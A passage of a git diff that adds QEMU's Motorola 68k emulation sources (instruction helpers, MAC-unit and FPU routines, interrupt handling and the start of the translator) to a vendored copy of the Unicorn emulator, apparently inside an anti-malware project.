+{ + uint32_t acc; + int8_t exthigh; + uint8_t extlow; + uint64_t regval; + int i; + if ((env->macsr ^ val) & (MACSR_FI | MACSR_SU)) { + for (i = 0; i < 4; i++) { + regval = env->macc[i]; + exthigh = regval >> 40; + if (env->macsr & MACSR_FI) { + acc = regval >> 8; + extlow = regval; + } else { + acc = regval; + extlow = regval >> 32; + } + if (env->macsr & MACSR_FI) { + regval = (((uint64_t)acc) << 8) | extlow; + regval |= ((uint64_t)((int64_t)exthigh)) << 40; + } else if (env->macsr & MACSR_SU) { + regval = acc | (((int64_t)extlow) << 32); + regval |= ((uint64_t)((int64_t)exthigh)) << 40; + } else { + regval = acc | (((uint64_t)extlow) << 32); + regval |= ((uint64_t)(uint8_t)exthigh) << 40; + } + env->macc[i] = regval; + } + } + env->macsr = val; +} + +void m68k_switch_sp(CPUM68KState *env) +{ + int new_sp; + + env->sp[env->current_sp] = env->aregs[7]; + new_sp = (env->sr & SR_S && env->cacr & M68K_CACR_EUSP) + ? M68K_SSP : M68K_USP; + env->aregs[7] = env->sp[new_sp]; + env->current_sp = new_sp; +} + +#if defined(CONFIG_USER_ONLY) + +int m68k_cpu_handle_mmu_fault(CPUState *cs, vaddr address, int rw, + int mmu_idx) +{ + M68kCPU *cpu = M68K_CPU(cs); + + cs->exception_index = EXCP_ACCESS; + cpu->env.mmu.ar = address; + return 1; +} + +#else + +/* MMU */ + +/* TODO: This will need fixing once the MMU is implemented. */ +hwaddr m68k_cpu_get_phys_page_debug(CPUState *cs, vaddr addr) +{ + return addr; +} + +int m68k_cpu_handle_mmu_fault(CPUState *cs, vaddr address, int rw, + int mmu_idx) +{ + int prot; + + address &= TARGET_PAGE_MASK; + prot = PAGE_READ | PAGE_WRITE | PAGE_EXEC; + tlb_set_page(cs, address, address, prot, mmu_idx, TARGET_PAGE_SIZE); + return 0; +} + +/* Notify CPU of a pending interrupt. Prioritization and vectoring should + be handled by the interrupt controller. Real hardware only requests + the vector when the interrupt is acknowledged by the CPU. For + simplicitly we calculate it when the interrupt is signalled. */ +void m68k_set_irq_level(M68kCPU *cpu, int level, uint8_t vector) +{ + CPUState *cs = CPU(cpu); + CPUM68KState *env = &cpu->env; + + env->pending_level = level; + env->pending_vector = vector; + if (level) { + cpu_interrupt(cs, CPU_INTERRUPT_HARD); + } else { + cpu_reset_interrupt(cs, CPU_INTERRUPT_HARD); + } +} + +#endif + +uint32_t HELPER(bitrev)(uint32_t x) +{ + x = ((x >> 1) & 0x55555555u) | ((x << 1) & 0xaaaaaaaau); + x = ((x >> 2) & 0x33333333u) | ((x << 2) & 0xccccccccu); + x = ((x >> 4) & 0x0f0f0f0fu) | ((x << 4) & 0xf0f0f0f0u); + return bswap32(x); +} + +uint32_t HELPER(ff1)(uint32_t x) +{ + int n; + for (n = 32; x; n--) + x >>= 1; + return n; +} + +uint32_t HELPER(sats)(uint32_t val, uint32_t ccr) +{ + /* The result has the opposite sign to the original value. */ + if (ccr & CCF_V) + val = (((int32_t)val) >> 31) ^ SIGNBIT; + return val; +} + +uint32_t HELPER(subx_cc)(CPUM68KState *env, uint32_t op1, uint32_t op2) +{ + uint32_t res; + uint32_t old_flags; + + old_flags = env->cc_dest; + if (env->cc_x) { + env->cc_x = (op1 <= op2); + env->cc_op = CC_OP_SUBX; + res = op1 - (op2 + 1); + } else { + env->cc_x = (op1 < op2); + env->cc_op = CC_OP_SUB; + res = op1 - op2; + } + env->cc_dest = res; + env->cc_src = op2; + cpu_m68k_flush_flags(env, env->cc_op); + /* !Z is sticky. */ + env->cc_dest &= (old_flags | ~CCF_Z); + return res; +} + +uint32_t HELPER(addx_cc)(CPUM68KState *env, uint32_t op1, uint32_t op2) +{ + uint32_t res; + uint32_t old_flags; + + old_flags = env->cc_dest; + if (env->cc_x) { + res = op1 + op2 + 1; + env->cc_x = (res <= op2); + env->cc_op = CC_OP_ADDX; + } else { + res = op1 + op2; + env->cc_x = (res < op2); + env->cc_op = CC_OP_ADD; + } + env->cc_dest = res; + env->cc_src = op2; + cpu_m68k_flush_flags(env, env->cc_op); + /* !Z is sticky. */ + env->cc_dest &= (old_flags | ~CCF_Z); + return res; +} + +uint32_t HELPER(xflag_lt)(uint32_t a, uint32_t b) +{ + return a < b; +} + +void HELPER(set_sr)(CPUM68KState *env, uint32_t val) +{ + env->sr = val & 0xffff; + m68k_switch_sp(env); +} + +uint32_t HELPER(shl_cc)(CPUM68KState *env, uint32_t val, uint32_t shift) +{ + uint32_t result; + uint32_t cf; + + shift &= 63; + if (shift == 0) { + result = val; + cf = env->cc_src & CCF_C; + } else if (shift < 32) { + result = val << shift; + cf = (val >> (32 - shift)) & 1; + } else if (shift == 32) { + result = 0; + cf = val & 1; + } else /* shift > 32 */ { + result = 0; + cf = 0; + } + env->cc_src = cf; + env->cc_x = (cf != 0); + env->cc_dest = result; + return result; +} + +uint32_t HELPER(shr_cc)(CPUM68KState *env, uint32_t val, uint32_t shift) +{ + uint32_t result; + uint32_t cf; + + shift &= 63; + if (shift == 0) { + result = val; + cf = env->cc_src & CCF_C; + } else if (shift < 32) { + result = val >> shift; + cf = (val >> (shift - 1)) & 1; + } else if (shift == 32) { + result = 0; + cf = val >> 31; + } else /* shift > 32 */ { + result = 0; + cf = 0; + } + env->cc_src = cf; + env->cc_x = (cf != 0); + env->cc_dest = result; + return result; +} + +uint32_t HELPER(sar_cc)(CPUM68KState *env, uint32_t val, uint32_t shift) +{ + uint32_t result; + uint32_t cf; + + shift &= 63; + if (shift == 0) { + result = val; + cf = (env->cc_src & CCF_C) != 0; + } else if (shift < 32) { + result = (int32_t)val >> shift; + cf = (val >> (shift - 1)) & 1; + } else /* shift >= 32 */ { + result = (int32_t)val >> 31; + cf = val >> 31; + } + env->cc_src = cf; + env->cc_x = cf; + env->cc_dest = result; + return result; +} + +/* FPU helpers. */ +uint32_t HELPER(f64_to_i32)(CPUM68KState *env, float64 val) +{ + return float64_to_int32(val, &env->fp_status); +} + +float32 HELPER(f64_to_f32)(CPUM68KState *env, float64 val) +{ + return float64_to_float32(val, &env->fp_status); +} + +float64 HELPER(i32_to_f64)(CPUM68KState *env, uint32_t val) +{ + return int32_to_float64(val, &env->fp_status); +} + +float64 HELPER(f32_to_f64)(CPUM68KState *env, float32 val) +{ + return float32_to_float64(val, &env->fp_status); +} + +float64 HELPER(iround_f64)(CPUM68KState *env, float64 val) +{ + return float64_round_to_int(val, &env->fp_status); +} + +float64 HELPER(itrunc_f64)(CPUM68KState *env, float64 val) +{ + return float64_trunc_to_int(val, &env->fp_status); +} + +float64 HELPER(sqrt_f64)(CPUM68KState *env, float64 val) +{ + return float64_sqrt(val, &env->fp_status); +} + +float64 HELPER(abs_f64)(float64 val) +{ + return float64_abs(val); +} + +float64 HELPER(chs_f64)(float64 val) +{ + return float64_chs(val); +} + +float64 HELPER(add_f64)(CPUM68KState *env, float64 a, float64 b) +{ + return float64_add(a, b, &env->fp_status); +} + +float64 HELPER(sub_f64)(CPUM68KState *env, float64 a, float64 b) +{ + return float64_sub(a, b, &env->fp_status); +} + +float64 HELPER(mul_f64)(CPUM68KState *env, float64 a, float64 b) +{ + return float64_mul(a, b, &env->fp_status); +} + +float64 HELPER(div_f64)(CPUM68KState *env, float64 a, float64 b) +{ + return float64_div(a, b, &env->fp_status); +} + +float64 HELPER(sub_cmp_f64)(CPUM68KState *env, float64 a, float64 b) +{ + /* ??? This may incorrectly raise exceptions. */ + /* ??? Should flush denormals to zero. */ + float64 res; + res = float64_sub(a, b, &env->fp_status); + if (float64_is_quiet_nan(res)) { + /* +/-inf compares equal against itself, but sub returns nan. */ + if (!float64_is_quiet_nan(a) + && !float64_is_quiet_nan(b)) { + res = float64_zero; + if (float64_lt_quiet(a, res, &env->fp_status)) + res = float64_chs(res); + } + } + return res; +} + +uint32_t HELPER(compare_f64)(CPUM68KState *env, float64 val) +{ + return float64_compare_quiet(val, float64_zero, &env->fp_status); +} + +/* MAC unit. */ +/* FIXME: The MAC unit implementation is a bit of a mess. Some helpers + take values, others take register numbers and manipulate the contents + in-place. */ +void HELPER(mac_move)(CPUM68KState *env, uint32_t dest, uint32_t src) +{ + uint32_t mask; + env->macc[dest] = env->macc[src]; + mask = MACSR_PAV0 << dest; + if (env->macsr & (MACSR_PAV0 << src)) + env->macsr |= mask; + else + env->macsr &= ~mask; +} + +uint64_t HELPER(macmuls)(CPUM68KState *env, uint32_t op1, uint32_t op2) +{ + int64_t product; + int64_t res; + + product = (uint64_t)op1 * op2; + res = ((int64_t)(((uint64_t)product) << 24)) >> 24; + if (res != product) { + env->macsr |= MACSR_V; + if (env->macsr & MACSR_OMC) { + /* Make sure the accumulate operation overflows. */ + if (product < 0) + res = ~(1ll << 50); + else + res = 1ll << 50; + } + } + return res; +} + +uint64_t HELPER(macmulu)(CPUM68KState *env, uint32_t op1, uint32_t op2) +{ + uint64_t product; + + product = (uint64_t)op1 * op2; + if (product & (0xffffffull << 40)) { + env->macsr |= MACSR_V; + if (env->macsr & MACSR_OMC) { + /* Make sure the accumulate operation overflows. */ + product = 1ll << 50; + } else { + product &= ((1ull << 40) - 1); + } + } + return product; +} + +uint64_t HELPER(macmulf)(CPUM68KState *env, uint32_t op1, uint32_t op2) +{ + uint64_t product; + uint32_t remainder; + + product = (uint64_t)op1 * op2; + if (env->macsr & MACSR_RT) { + remainder = product & 0xffffff; + product >>= 24; + if (remainder > 0x800000) + product++; + else if (remainder == 0x800000) + product += (product & 1); + } else { + product >>= 24; + } + return product; +} + +void HELPER(macsats)(CPUM68KState *env, uint32_t acc) +{ + int64_t tmp; + int64_t result; + tmp = env->macc[acc]; + result = ((int64_t)((uint64_t)tmp << 16) >> 16); + if (result != tmp) { + env->macsr |= MACSR_V; + } + if (env->macsr & MACSR_V) { + env->macsr |= MACSR_PAV0 << acc; + if (env->macsr & MACSR_OMC) { + /* The result is saturated to 32 bits, despite overflow occurring + at 48 bits. Seems weird, but that's what the hardware docs + say. */ + result = (result >> 63) ^ 0x7fffffff; + } + } + env->macc[acc] = result; +} + +void HELPER(macsatu)(CPUM68KState *env, uint32_t acc) +{ + uint64_t val; + + val = env->macc[acc]; + if (val & (0xffffull << 48)) { + env->macsr |= MACSR_V; + } + if (env->macsr & MACSR_V) { + env->macsr |= MACSR_PAV0 << acc; + if (env->macsr & MACSR_OMC) { + if (val > (1ull << 53)) + val = 0; + else + val = (1ull << 48) - 1; + } else { + val &= ((1ull << 48) - 1); + } + } + env->macc[acc] = val; +} + +void HELPER(macsatf)(CPUM68KState *env, uint32_t acc) +{ + int64_t sum; + int64_t result; + + sum = env->macc[acc]; + result = ((int64_t)((uint64_t)sum << 16)) >> 16; + if (result != sum) { + env->macsr |= MACSR_V; + } + if (env->macsr & MACSR_V) { + env->macsr |= MACSR_PAV0 << acc; + if (env->macsr & MACSR_OMC) { + result = (result >> 63) ^ 0x7fffffffffffll; + } + } + env->macc[acc] = result; +} + +void HELPER(mac_set_flags)(CPUM68KState *env, uint32_t acc) +{ + uint64_t val; + val = env->macc[acc]; + if (val == 0) { + env->macsr |= MACSR_Z; + } else if (val & (1ull << 47)) { + env->macsr |= MACSR_N; + } + if (env->macsr & (MACSR_PAV0 << acc)) { + env->macsr |= MACSR_V; + } + if (env->macsr & MACSR_FI) { + val = ((int64_t)val) >> 40; + if (val != 0 && val != -1) + env->macsr |= MACSR_EV; + } else if (env->macsr & MACSR_SU) { + val = ((int64_t)val) >> 32; + if (val != 0 && val != -1) + env->macsr |= MACSR_EV; + } else { + if ((val >> 32) != 0) + env->macsr |= MACSR_EV; + } +} + +void HELPER(flush_flags)(CPUM68KState *env, uint32_t cc_op) +{ + cpu_m68k_flush_flags(env, cc_op); +} + +uint32_t HELPER(get_macf)(CPUM68KState *env, uint64_t val) +{ + int rem; + uint32_t result; + + if (env->macsr & MACSR_SU) { + /* 16-bit rounding. */ + rem = val & 0xffffff; + val = (val >> 24) & 0xffffu; + if (rem > 0x800000) + val++; + else if (rem == 0x800000) + val += (val & 1); + } else if (env->macsr & MACSR_RT) { + /* 32-bit rounding. */ + rem = val & 0xff; + val >>= 8; + if (rem > 0x80) + val++; + else if (rem == 0x80) + val += (val & 1); + } else { + /* No rounding. */ + val >>= 8; + } + if (env->macsr & MACSR_OMC) { + /* Saturate. */ + if (env->macsr & MACSR_SU) { + if (val != (uint16_t) val) { + result = ((val >> 63) ^ 0x7fff) & 0xffff; + } else { + result = val & 0xffff; + } + } else { + if (val != (uint32_t)val) { + result = ((uint32_t)(val >> 63) & 0x7fffffff); + } else { + result = (uint32_t)val; + } + } + } else { + /* No saturation. */ + if (env->macsr & MACSR_SU) { + result = val & 0xffff; + } else { + result = (uint32_t)val; + } + } + return result; +} + +uint32_t HELPER(get_macs)(uint64_t val) +{ + if (val == (int32_t)val) { + return (int32_t)val; + } else { + return (val >> 61) ^ ~SIGNBIT; + } +} + +uint32_t HELPER(get_macu)(uint64_t val) +{ + if ((val >> 32) == 0) { + return (uint32_t)val; + } else { + return 0xffffffffu; + } +} + +uint32_t HELPER(get_mac_extf)(CPUM68KState *env, uint32_t acc) +{ + uint32_t val; + val = env->macc[acc] & 0x00ff; + val = (env->macc[acc] >> 32) & 0xff00; + val |= (env->macc[acc + 1] << 16) & 0x00ff0000; + val |= (env->macc[acc + 1] >> 16) & 0xff000000; + return val; +} + +uint32_t HELPER(get_mac_exti)(CPUM68KState *env, uint32_t acc) +{ + uint32_t val; + val = (env->macc[acc] >> 32) & 0xffff; + val |= (env->macc[acc + 1] >> 16) & 0xffff0000; + return val; +} + +void HELPER(set_mac_extf)(CPUM68KState *env, uint32_t val, uint32_t acc) +{ + int64_t res; + int32_t tmp; + res = env->macc[acc] & 0xffffffff00ull; + tmp = (int16_t)(val & 0xff00); + res |= ((uint64_t)((int64_t)tmp)) << 32; + res |= val & 0xff; + env->macc[acc] = res; + res = env->macc[acc + 1] & 0xffffffff00ull; + tmp = (val & 0xff000000); + res |= ((uint64_t)((int64_t)tmp)) << 16; + res |= (val >> 16) & 0xff; + env->macc[acc + 1] = res; +} + +void HELPER(set_mac_exts)(CPUM68KState *env, uint32_t val, uint32_t acc) +{ + int64_t res; + int32_t tmp; + res = (uint32_t)env->macc[acc]; + tmp = (int16_t)val; + res |= ((uint64_t)((int64_t)tmp)) << 32; + env->macc[acc] = res; + res = (uint32_t)env->macc[acc + 1]; + tmp = val & 0xffff0000; + res |= ((uint64_t)((int64_t)tmp)) << 16; + env->macc[acc + 1] = res; +} + +void HELPER(set_mac_extu)(CPUM68KState *env, uint32_t val, uint32_t acc) +{ + uint64_t res; + res = (uint32_t)env->macc[acc]; + res |= ((uint64_t)(val & 0xffff)) << 32; + env->macc[acc] = res; + res = (uint32_t)env->macc[acc + 1]; + res |= (uint64_t)(val & 0xffff0000) << 16; + env->macc[acc + 1] = res; +} + +void m68k_cpu_exec_enter(CPUState *cs) +{ + M68kCPU *cpu = M68K_CPU(cs->uc, cs); + CPUM68KState *env = &cpu->env; + + env->cc_op = CC_OP_FLAGS; + env->cc_dest = env->sr & 0xf; + env->cc_x = (env->sr >> 4) & 1; +} + +void m68k_cpu_exec_exit(CPUState *cs) +{ + M68kCPU *cpu = M68K_CPU(cs->uc, cs); + CPUM68KState *env = &cpu->env; + + cpu_m68k_flush_flags(env, env->cc_op); + env->cc_op = CC_OP_FLAGS; + env->sr = (env->sr & 0xffe0) | env->cc_dest | (env->cc_x << 4); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/helper.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/helper.h new file mode 100644 index 0000000..caaadb3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/helper.h @@ -0,0 +1,52 @@ +DEF_HELPER_4(uc_tracecode, void, i32, i32, ptr, i64) + +DEF_HELPER_1(bitrev, i32, i32) +DEF_HELPER_1(ff1, i32, i32) +DEF_HELPER_2(sats, i32, i32, i32) +DEF_HELPER_2(divu, void, env, i32) +DEF_HELPER_2(divs, void, env, i32) +DEF_HELPER_3(addx_cc, i32, env, i32, i32) +DEF_HELPER_3(subx_cc, i32, env, i32, i32) +DEF_HELPER_3(shl_cc, i32, env, i32, i32) +DEF_HELPER_3(shr_cc, i32, env, i32, i32) +DEF_HELPER_3(sar_cc, i32, env, i32, i32) +DEF_HELPER_2(xflag_lt, i32, i32, i32) +DEF_HELPER_2(set_sr, void, env, i32) +DEF_HELPER_3(movec, void, env, i32, i32) + +DEF_HELPER_2(f64_to_i32, f32, env, f64) +DEF_HELPER_2(f64_to_f32, f32, env, f64) +DEF_HELPER_2(i32_to_f64, f64, env, i32) +DEF_HELPER_2(f32_to_f64, f64, env, f32) +DEF_HELPER_2(iround_f64, f64, env, f64) +DEF_HELPER_2(itrunc_f64, f64, env, f64) +DEF_HELPER_2(sqrt_f64, f64, env, f64) +DEF_HELPER_1(abs_f64, f64, f64) +DEF_HELPER_1(chs_f64, f64, f64) +DEF_HELPER_3(add_f64, f64, env, f64, f64) +DEF_HELPER_3(sub_f64, f64, env, f64, f64) +DEF_HELPER_3(mul_f64, f64, env, f64, f64) +DEF_HELPER_3(div_f64, f64, env, f64, f64) +DEF_HELPER_3(sub_cmp_f64, f64, env, f64, f64) +DEF_HELPER_2(compare_f64, i32, env, f64) + +DEF_HELPER_3(mac_move, void, env, i32, i32) +DEF_HELPER_3(macmulf, i64, env, i32, i32) +DEF_HELPER_3(macmuls, i64, env, i32, i32) +DEF_HELPER_3(macmulu, i64, env, i32, i32) +DEF_HELPER_2(macsats, void, env, i32) +DEF_HELPER_2(macsatu, void, env, i32) +DEF_HELPER_2(macsatf, void, env, i32) +DEF_HELPER_2(mac_set_flags, void, env, i32) +DEF_HELPER_2(set_macsr, void, env, i32) +DEF_HELPER_2(get_macf, i32, env, i64) +DEF_HELPER_1(get_macs, i32, i64) +DEF_HELPER_1(get_macu, i32, i64) +DEF_HELPER_2(get_mac_extf, i32, env, i32) +DEF_HELPER_2(get_mac_exti, i32, env, i32) +DEF_HELPER_3(set_mac_extf, void, env, i32, i32) +DEF_HELPER_3(set_mac_exts, void, env, i32, i32) +DEF_HELPER_3(set_mac_extu, void, env, i32, i32) + +DEF_HELPER_2(flush_flags, void, env, i32) +DEF_HELPER_2(raise_exception, void, env, i32) diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/m68k-qreg.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/m68k-qreg.h new file mode 100644 index 0000000..c224d5e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/m68k-qreg.h @@ -0,0 +1,11 @@ +enum { +#define DEFO32(name, offset) QREG_##name, +#define DEFR(name, reg, mode) QREG_##name, +#define DEFF64(name, offset) QREG_##name, + QREG_NULL, +#include "qregs.def" + TARGET_NUM_QREGS = 0x100 +#undef DEFO32 +#undef DEFR +#undef DEFF64 +}; diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/op_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/op_helper.c new file mode 100644 index 0000000..2686e98 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/op_helper.c @@ -0,0 +1,225 @@ +/* + * M68K helper routines + * + * Copyright (c) 2007 CodeSourcery + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +#include "cpu.h" +#include "exec/helper-proto.h" +#include "exec/cpu_ldst.h" + +#if defined(CONFIG_USER_ONLY) + +void m68k_cpu_do_interrupt(CPUState *cs) +{ + cs->exception_index = -1; +} + +static inline void do_interrupt_m68k_hardirq(CPUM68KState *env) +{ +} + +#else + +extern int semihosting_enabled; + +/* Try to fill the TLB and return an exception if error. If retaddr is + NULL, it means that the function was called in C code (i.e. not + from generated code or from helper.c) */ +void tlb_fill(CPUState *cs, target_ulong addr, int is_write, int mmu_idx, + uintptr_t retaddr) +{ + int ret; + + ret = m68k_cpu_handle_mmu_fault(cs, addr, is_write, mmu_idx); + if (unlikely(ret)) { + if (retaddr) { + /* now we have a real cpu fault */ + cpu_restore_state(cs, retaddr); + } + cpu_loop_exit(cs); + } +} + +static void do_rte(CPUM68KState *env) +{ + uint32_t sp; + uint32_t fmt; + + sp = env->aregs[7]; + fmt = cpu_ldl_kernel(env, sp); + env->pc = cpu_ldl_kernel(env, sp + 4); + sp |= (fmt >> 28) & 3; + env->sr = fmt & 0xffff; + m68k_switch_sp(env); + env->aregs[7] = sp + 8; +} + +static void do_interrupt_all(CPUM68KState *env, int is_hw) +{ + CPUState *cs = CPU(m68k_env_get_cpu(env)); + uint32_t sp; + uint32_t fmt; + uint32_t retaddr; + uint32_t vector; + + fmt = 0; + retaddr = env->pc; + + if (!is_hw) { + switch (cs->exception_index) { + case EXCP_RTE: + /* Return from an exception. */ + do_rte(env); + return; + case EXCP_HALT_INSN: + cs->halted = 1; + cs->exception_index = EXCP_HLT; + cpu_loop_exit(cs); + return; + } + if (cs->exception_index >= EXCP_TRAP0 + && cs->exception_index <= EXCP_TRAP15) { + /* Move the PC after the trap instruction. */ + retaddr += 2; + } + } + + vector = cs->exception_index << 2; + + sp = env->aregs[7]; + + fmt |= 0x40000000; + fmt |= (sp & 3) << 28; + fmt |= vector << 16; + fmt |= env->sr; + + env->sr |= SR_S; + if (is_hw) { + env->sr = (env->sr & ~SR_I) | (env->pending_level << SR_I_SHIFT); + env->sr &= ~SR_M; + } + m68k_switch_sp(env); + + /* ??? This could cause MMU faults. */ + sp &= ~3; + sp -= 4; + cpu_stl_kernel(env, sp, retaddr); + sp -= 4; + cpu_stl_kernel(env, sp, fmt); + env->aregs[7] = sp; + /* Jump to vector. */ + env->pc = cpu_ldl_kernel(env, env->vbr + vector); +} + +void m68k_cpu_do_interrupt(CPUState *cs) +{ + M68kCPU *cpu = M68K_CPU(cs->uc, cs); + CPUM68KState *env = &cpu->env; + + do_interrupt_all(env, 0); +} + +static inline void do_interrupt_m68k_hardirq(CPUM68KState *env) +{ + do_interrupt_all(env, 1); +} +#endif + +bool m68k_cpu_exec_interrupt(CPUState *cs, int interrupt_request) +{ + M68kCPU *cpu = M68K_CPU(cs->uc, cs); + CPUM68KState *env = &cpu->env; + + if (interrupt_request & CPU_INTERRUPT_HARD + && ((env->sr & SR_I) >> SR_I_SHIFT) < env->pending_level) { + /* Real hardware gets the interrupt vector via an IACK cycle + at this point. Current emulated hardware doesn't rely on + this, so we provide/save the vector when the interrupt is + first signalled. */ + cs->exception_index = env->pending_vector; + do_interrupt_m68k_hardirq(env); + return true; + } + return false; +} + +static void raise_exception(CPUM68KState *env, int tt) +{ + CPUState *cs = CPU(m68k_env_get_cpu(env)); + + cs->exception_index = tt; + cpu_loop_exit(cs); +} + +void HELPER(raise_exception)(CPUM68KState *env, uint32_t tt) +{ + raise_exception(env, tt); +} + +void HELPER(divu)(CPUM68KState *env, uint32_t word) +{ + uint32_t num; + uint32_t den; + uint32_t quot; + uint32_t rem; + uint32_t flags; + + num = env->div1; + den = env->div2; + /* ??? This needs to make sure the throwing location is accurate. */ + if (den == 0) { + raise_exception(env, EXCP_DIV0); + } + quot = num / den; + rem = num % den; + flags = 0; + if (word && quot > 0xffff) + flags |= CCF_V; + if (quot == 0) + flags |= CCF_Z; + else if ((int32_t)quot < 0) + flags |= CCF_N; + env->div1 = quot; + env->div2 = rem; + env->cc_dest = flags; +} + +void HELPER(divs)(CPUM68KState *env, uint32_t word) +{ + int32_t num; + int32_t den; + int32_t quot; + int32_t rem; + int32_t flags; + + num = env->div1; + den = env->div2; + if (den == 0) { + raise_exception(env, EXCP_DIV0); + } + quot = (int64_t)num / den; + rem = (int64_t)num % den; + flags = 0; + if (word && quot != (int16_t)quot) + flags |= CCF_V; + if (quot == 0) + flags |= CCF_Z; + else if (quot < 0) + flags |= CCF_N; + env->div1 = quot; + env->div2 = rem; + env->cc_dest = flags; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/qregs.def b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/qregs.def new file mode 100644 index 0000000..204663e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/qregs.def @@ -0,0 +1,11 @@ +DEFF64(FP_RESULT, fp_result) +DEFO32(PC, pc) +DEFO32(SR, sr) +DEFO32(CC_OP, cc_op) +DEFO32(CC_DEST, cc_dest) +DEFO32(CC_SRC, cc_src) +DEFO32(CC_X, cc_x) +DEFO32(DIV1, div1) +DEFO32(DIV2, div2) +DEFO32(MACSR, macsr) +DEFO32(MAC_MASK, mac_mask) diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/translate.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/translate.c new file mode 100644 index 0000000..7ada763 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/translate.c @@ -0,0 +1,3220 @@ +/* + * m68k translation + * + * Copyright (c) 2005-2007 CodeSourcery + * Written by Paul Brook + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "tcg-op.h" +#include "qemu/log.h" +#include "exec/cpu_ldst.h" + +#include "exec/helper-proto.h" +#include "exec/helper-gen.h" + +#include "exec/gen-icount.h" + +//#define DEBUG_DISPATCH 1 + +/* Fake floating point. */ +#define tcg_gen_mov_f64 tcg_gen_mov_i64 +#define tcg_gen_qemu_ldf64 tcg_gen_qemu_ld64 +#define tcg_gen_qemu_stf64 tcg_gen_qemu_st64 + +#define DREG(insn, pos) *((TCGv *)tcg_ctx->cpu_dregs[((insn) >> (pos)) & 7]) +#define AREG(insn, pos) *((TCGv *)tcg_ctx->cpu_aregs[((insn) >> (pos)) & 7]) +#define FREG(insn, pos) tcg_ctx->cpu_fregs[((insn) >> (pos)) & 7] +#define MACREG(acc) tcg_ctx->cpu_macc[acc] +#define QREG_SP *((TCGv *)tcg_ctx->cpu_aregs[7]) + +#define IS_NULL_QREG(t) (TCGV_EQUAL(t, tcg_ctx->NULL_QREG)) + +void m68k_tcg_init(struct uc_struct *uc) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + char *p; + int i; + +#define DEFO32(name, offset) if (!uc->init_tcg) { tcg_ctx->QREG_##name = g_malloc0(sizeof(TCGv));} *((TCGv *)tcg_ctx->QREG_##name) = tcg_global_mem_new_i32(tcg_ctx, TCG_AREG0, offsetof(CPUM68KState, offset), #name); +#define DEFO64(name, offset) tcg_ctx->QREG_##name = tcg_global_mem_new_i64(tcg_ctx, TCG_AREG0, offsetof(CPUM68KState, offset), #name); +#define DEFF64(name, offset) DEFO64(name, offset) +#include "qregs.def" +#undef DEFO32 +#undef DEFO64 +#undef DEFF64 + + // tcg_ctx->QREG_FP_RESULT = tcg_global_mem_new_i64(tcg_ctx, TCG_AREG0, offsetof(CPUM68KState, fp_result), "FP_RESULT"); + + tcg_ctx->cpu_halted = tcg_global_mem_new_i32(tcg_ctx, TCG_AREG0, + 0-offsetof(M68kCPU, env) + + offsetof(CPUState, halted), "HALTED"); + + tcg_ctx->cpu_env = tcg_global_reg_new_ptr(tcg_ctx, TCG_AREG0, "env"); + + p = tcg_ctx->cpu_reg_names; + + for (i = 0; i < 8; i++) { + sprintf(p, "D%d", i); + if (!uc->init_tcg) + tcg_ctx->cpu_dregs[i] = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_dregs[i]) = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUM68KState, dregs[i]), p); + p += 3; + sprintf(p, "A%d", i); + if (!uc->init_tcg) + tcg_ctx->cpu_aregs[i] = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->cpu_aregs[i]) = tcg_global_mem_new(tcg_ctx, TCG_AREG0, + offsetof(CPUM68KState, aregs[i]), p); + p += 3; + sprintf(p, "F%d", i); + tcg_ctx->cpu_fregs[i] = tcg_global_mem_new_i64(tcg_ctx, TCG_AREG0, + offsetof(CPUM68KState, fregs[i]), p); + p += 3; + } + + for (i = 0; i < 4; i++) { + sprintf(p, "ACC%d", i); + tcg_ctx->cpu_macc[i] = tcg_global_mem_new_i64(tcg_ctx, TCG_AREG0, + offsetof(CPUM68KState, macc[i]), p); + p += 5; + } + + if (!uc->init_tcg) + tcg_ctx->NULL_QREG = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->NULL_QREG) = tcg_global_mem_new(tcg_ctx, TCG_AREG0, -4, "NULL"); + + if (!uc->init_tcg) + tcg_ctx->store_dummy = g_malloc0(sizeof(TCGv)); + *((TCGv *)tcg_ctx->store_dummy) = tcg_global_mem_new(tcg_ctx, TCG_AREG0, -8, "NULL"); + + uc->init_tcg = true; +} + +/* internal defines */ +typedef struct DisasContext { + CPUM68KState *env; + target_ulong insn_pc; /* Start of the current instruction. */ + target_ulong pc; + int is_jmp; + int cc_op; + int user; + uint32_t fpcr; + struct TranslationBlock *tb; + int singlestep_enabled; + int is_mem; + TCGv_i64 